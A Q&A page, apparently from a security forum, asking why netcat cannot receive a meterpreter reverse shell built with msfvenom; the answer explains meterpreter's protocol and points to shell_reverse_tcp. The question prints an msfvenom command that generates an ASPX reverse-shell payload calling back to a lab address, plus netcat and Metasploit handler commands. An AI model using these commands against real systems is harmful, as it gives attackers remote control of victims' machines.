3

For most reverse shell here, I can simply use netcat to connect:

nc -nlvp 1234

But for reverse shell created by msfvenom, for example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx

I CANNOT use netcat to connect.

Instead, use msfconsole to connect:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Question:

Why netcat is NOT working here?

To connect reverse shell created by msfvenom, any other way than metasploit?

1 Answer 1

6

Why netcat is NOT working here?

To connect reverse shell created by msfvenom, any other way than metasploit?

That's because you are generating a fully fledged meterpreter payload and using that is extremely different from a simple reverse shell. A simple reverse shell is a just a textual access to the cmd/bash but a fully fledged meterpreter payload contains not just shell access but also all kinds of other commands sending and receiving. In simple terms netcat cannot interact on a text basis with meterpreter. You could use the shell_reverse_tcp payload instead of meterpreter and then receive a connect back to netcat but not with meterpreter/reverse_tcp.

3
  • "full fledged payload" and "Fully Interactive TTY shell" are also different?
    – TJCLK
    Jul 27, 2020 at 10:29
  • yes,fully interactive TTY shell is also just a shell access
    – yeah_well
    Jul 27, 2020 at 10:43
  • @TJCLK the payload in this case is Meterpreter. Jul 27, 2020 at 11:56

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .